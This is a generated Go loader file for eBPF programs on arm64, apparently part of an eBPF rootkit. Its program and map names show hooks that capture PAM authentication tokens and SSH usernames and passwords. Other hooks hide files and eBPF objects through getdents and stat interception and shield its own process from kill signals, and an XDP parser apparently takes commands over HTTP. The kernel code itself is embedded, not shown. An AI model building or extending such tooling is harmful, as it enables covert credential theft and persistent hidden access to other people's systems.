-
Notifications
You must be signed in to change notification settings - Fork 24
/
ebpf_bpfel_arm64.go
232 lines (211 loc) · 6.87 KB
/
ebpf_bpfel_arm64.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
// Code generated by bpf2go; DO NOT EDIT.
//go:build arm64
package main
import (
"bytes"
_ "embed"
"fmt"
"io"
"github.com/cilium/ebpf"
)
type ebpfEvent struct {
Type uint8
_ [3]byte
Pid uint32
Comm [16]uint8
Success bool
_ [3]byte
}
type ebpfHttpCmd struct {
Type uint8
Cmd [100]uint8
}
type ebpfSshUserPass struct {
Type uint8
Username [30]uint8
Password [50]uint8
}
// loadEbpf returns the embedded CollectionSpec for ebpf.
func loadEbpf() (*ebpf.CollectionSpec, error) {
reader := bytes.NewReader(_EbpfBytes)
spec, err := ebpf.LoadCollectionSpecFromReader(reader)
if err != nil {
return nil, fmt.Errorf("can't load ebpf: %w", err)
}
return spec, err
}
// loadEbpfObjects loads ebpf and converts it into a struct.
//
// The following types are suitable as obj argument:
//
// *ebpfObjects
// *ebpfPrograms
// *ebpfMaps
//
// See ebpf.CollectionSpec.LoadAndAssign documentation for details.
func loadEbpfObjects(obj interface{}, opts *ebpf.CollectionOptions) error {
spec, err := loadEbpf()
if err != nil {
return err
}
return spec.LoadAndAssign(obj, opts)
}
// ebpfSpecs contains maps and programs before they are loaded into the kernel.
//
// It can be passed ebpf.CollectionSpec.Assign.
type ebpfSpecs struct {
ebpfProgramSpecs
ebpfMapSpecs
}
// ebpfSpecs contains programs before they are loaded into the kernel.
//
// It can be passed ebpf.CollectionSpec.Assign.
type ebpfProgramSpecs struct {
AvoidKill *ebpf.ProgramSpec `ebpf:"avoidKill"`
HandleAuthtokEnter *ebpf.ProgramSpec `ebpf:"handleAuthtokEnter"`
HandleAuthtokExit *ebpf.ProgramSpec `ebpf:"handleAuthtokExit"`
HandleBpfEnter *ebpf.ProgramSpec `ebpf:"handleBpfEnter"`
HandleBpfExit *ebpf.ProgramSpec `ebpf:"handleBpfExit"`
HandleCloseExit *ebpf.ProgramSpec `ebpf:"handleCloseExit"`
HandleGetdentsEnter *ebpf.ProgramSpec `ebpf:"handleGetdentsEnter"`
HandleGetdentsExit *ebpf.ProgramSpec `ebpf:"handleGetdentsExit"`
HandleKillExit *ebpf.ProgramSpec `ebpf:"handleKillExit"`
HandleNewFstatatEnter *ebpf.ProgramSpec `ebpf:"handleNewFstatatEnter"`
HandleNewFstatatExit *ebpf.ProgramSpec `ebpf:"handleNewFstatatExit"`
HandleOpenatEnter *ebpf.ProgramSpec `ebpf:"handleOpenatEnter"`
HandleOpenatExit *ebpf.ProgramSpec `ebpf:"handleOpenatExit"`
HandleReadEnter *ebpf.ProgramSpec `ebpf:"handleReadEnter"`
HandleReadExit *ebpf.ProgramSpec `ebpf:"handleReadExit"`
TcEgress *ebpf.ProgramSpec `ebpf:"tcEgress"`
XdpHttpParser *ebpf.ProgramSpec `ebpf:"xdpHttpParser"`
}
// ebpfMapSpecs contains maps before they are loaded into the kernel.
//
// It can be passed ebpf.CollectionSpec.Assign.
type ebpfMapSpecs struct {
AuthtokMap *ebpf.MapSpec `ebpf:"authtokMap"`
AvoidKillPidMap *ebpf.MapSpec `ebpf:"avoidKillPidMap"`
BufMap *ebpf.MapSpec `ebpf:"bufMap"`
BytesReadMap *ebpf.MapSpec `ebpf:"bytesReadMap"`
CmdResMap *ebpf.MapSpec `ebpf:"cmdResMap"`
FdMap *ebpf.MapSpec `ebpf:"fdMap"`
HideEbpfMap *ebpf.MapSpec `ebpf:"hideEbpfMap"`
PamHandleMap *ebpf.MapSpec `ebpf:"pamHandleMap"`
PatchMap *ebpf.MapSpec `ebpf:"patchMap"`
PidIndexMap *ebpf.MapSpec `ebpf:"pidIndexMap"`
ProgArrayMap *ebpf.MapSpec `ebpf:"progArrayMap"`
Rb *ebpf.MapSpec `ebpf:"rb"`
ReadBufMap *ebpf.MapSpec `ebpf:"readBufMap"`
SeqMap *ebpf.MapSpec `ebpf:"seqMap"`
StatBufMap *ebpf.MapSpec `ebpf:"statBufMap"`
StatFileTypeMap *ebpf.MapSpec `ebpf:"statFileTypeMap"`
}
// ebpfObjects contains all objects after they have been loaded into the kernel.
//
// It can be passed to loadEbpfObjects or ebpf.CollectionSpec.LoadAndAssign.
type ebpfObjects struct {
ebpfPrograms
ebpfMaps
}
func (o *ebpfObjects) Close() error {
return _EbpfClose(
&o.ebpfPrograms,
&o.ebpfMaps,
)
}
// ebpfMaps contains all maps after they have been loaded into the kernel.
//
// It can be passed to loadEbpfObjects or ebpf.CollectionSpec.LoadAndAssign.
type ebpfMaps struct {
AuthtokMap *ebpf.Map `ebpf:"authtokMap"`
AvoidKillPidMap *ebpf.Map `ebpf:"avoidKillPidMap"`
BufMap *ebpf.Map `ebpf:"bufMap"`
BytesReadMap *ebpf.Map `ebpf:"bytesReadMap"`
CmdResMap *ebpf.Map `ebpf:"cmdResMap"`
FdMap *ebpf.Map `ebpf:"fdMap"`
HideEbpfMap *ebpf.Map `ebpf:"hideEbpfMap"`
PamHandleMap *ebpf.Map `ebpf:"pamHandleMap"`
PatchMap *ebpf.Map `ebpf:"patchMap"`
PidIndexMap *ebpf.Map `ebpf:"pidIndexMap"`
ProgArrayMap *ebpf.Map `ebpf:"progArrayMap"`
Rb *ebpf.Map `ebpf:"rb"`
ReadBufMap *ebpf.Map `ebpf:"readBufMap"`
SeqMap *ebpf.Map `ebpf:"seqMap"`
StatBufMap *ebpf.Map `ebpf:"statBufMap"`
StatFileTypeMap *ebpf.Map `ebpf:"statFileTypeMap"`
}
func (m *ebpfMaps) Close() error {
return _EbpfClose(
m.AuthtokMap,
m.AvoidKillPidMap,
m.BufMap,
m.BytesReadMap,
m.CmdResMap,
m.FdMap,
m.HideEbpfMap,
m.PamHandleMap,
m.PatchMap,
m.PidIndexMap,
m.ProgArrayMap,
m.Rb,
m.ReadBufMap,
m.SeqMap,
m.StatBufMap,
m.StatFileTypeMap,
)
}
// ebpfPrograms contains all programs after they have been loaded into the kernel.
//
// It can be passed to loadEbpfObjects or ebpf.CollectionSpec.LoadAndAssign.
type ebpfPrograms struct {
AvoidKill *ebpf.Program `ebpf:"avoidKill"`
HandleAuthtokEnter *ebpf.Program `ebpf:"handleAuthtokEnter"`
HandleAuthtokExit *ebpf.Program `ebpf:"handleAuthtokExit"`
HandleBpfEnter *ebpf.Program `ebpf:"handleBpfEnter"`
HandleBpfExit *ebpf.Program `ebpf:"handleBpfExit"`
HandleCloseExit *ebpf.Program `ebpf:"handleCloseExit"`
HandleGetdentsEnter *ebpf.Program `ebpf:"handleGetdentsEnter"`
HandleGetdentsExit *ebpf.Program `ebpf:"handleGetdentsExit"`
HandleKillExit *ebpf.Program `ebpf:"handleKillExit"`
HandleNewFstatatEnter *ebpf.Program `ebpf:"handleNewFstatatEnter"`
HandleNewFstatatExit *ebpf.Program `ebpf:"handleNewFstatatExit"`
HandleOpenatEnter *ebpf.Program `ebpf:"handleOpenatEnter"`
HandleOpenatExit *ebpf.Program `ebpf:"handleOpenatExit"`
HandleReadEnter *ebpf.Program `ebpf:"handleReadEnter"`
HandleReadExit *ebpf.Program `ebpf:"handleReadExit"`
TcEgress *ebpf.Program `ebpf:"tcEgress"`
XdpHttpParser *ebpf.Program `ebpf:"xdpHttpParser"`
}
func (p *ebpfPrograms) Close() error {
return _EbpfClose(
p.AvoidKill,
p.HandleAuthtokEnter,
p.HandleAuthtokExit,
p.HandleBpfEnter,
p.HandleBpfExit,
p.HandleCloseExit,
p.HandleGetdentsEnter,
p.HandleGetdentsExit,
p.HandleKillExit,
p.HandleNewFstatatEnter,
p.HandleNewFstatatExit,
p.HandleOpenatEnter,
p.HandleOpenatExit,
p.HandleReadEnter,
p.HandleReadExit,
p.TcEgress,
p.XdpHttpParser,
)
}
func _EbpfClose(closers ...io.Closer) error {
for _, closer := range closers {
if err := closer.Close(); err != nil {
return err
}
}
return nil
}
// Do not access this directly.
//
//go:embed ebpf_bpfel_arm64.o
var _EbpfBytes []byte